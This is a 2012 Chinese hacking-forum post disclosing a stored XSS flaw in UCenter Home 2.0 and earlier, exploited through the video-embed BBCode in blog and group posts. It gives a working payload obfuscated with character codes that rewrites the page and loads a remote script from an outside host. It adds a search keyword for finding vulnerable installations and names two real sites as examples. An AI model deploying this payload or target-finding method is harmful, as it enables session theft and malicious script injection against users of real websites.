天马行空工作室

 找回密码
 加入天马
搜索
查看: 6193|回复: 1

Ucenter Home 2.0及以下存储型xss

[复制链接]
发表于 2012-9-18 04:56:26 | 显示全部楼层 |阅读模式
【漏洞原理】
编辑器插入视频input过滤不严,导致日志和群组板块发帖可插入代码。
【测试代码】
发帖包含以下代码:
  1. [flash]http://" onmouseover='document.body.innerHTML=String.fromCharCode(60,105,102,114,97,109,101,47,111,110,108,111,97,100,61,39,106,97,118,97,115,99,114,105,112,116,58,119,114,105,116,101,40,83,116,114,105,110,103,46,102,114,111,109,67,104,97,114,67,111,100,101,40,54,48,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,44,51,50,44,49,49,53,44,49,49,52,44,57,57,44,54,49,44,49,48,52,44,49,49,54,44,49,49,54,44,49,49,50,44,53,56,44,52,55,44,52,55,44,49,49,54,44,49,48,57,44,49,50,48,44,49,48,55,44,52,54,44,49,49,49,44,49,49,52,44,49,48,51,44,52,55,44,49,49,51,44,52,54,44,49,48,54,44,49,49,53,44,54,50,44,54,48,44,52,55,44,49,49,53,44,57,57,44,49,49,52,44,49,48,53,44,49,49,50,44,49,49,54,44,54,50,41,41,39,62)'\[/flash]
复制代码
【关键字】
powered by ucenter home 2.0
2.0漏洞举例:
http://inqtime.com///space.php?uid=11&do=blog&id=4
1.JPG
1.5漏洞举例:
http://i.99wed.com/home/space-1068699-do-blog-id-58183.html
2.JPG
发表于 2012-9-22 23:20:24 | 显示全部楼层
每次我都要百度下才能理解
您需要登录后才可以回帖 登录 | 加入天马

本版积分规则

Archiver|手机版|小黑屋|天马行空工作室 ( 京ICP备12003429号  

GMT+8, 2019-10-21 11:29 , Processed in 1.232017 second(s), 26 queries .

Powered by Discuz! v8

© 2010-2014 Ucenter Home 2.0及以下存储型xss - XSS 天马行空工作室

快速回复 返回顶部 返回列表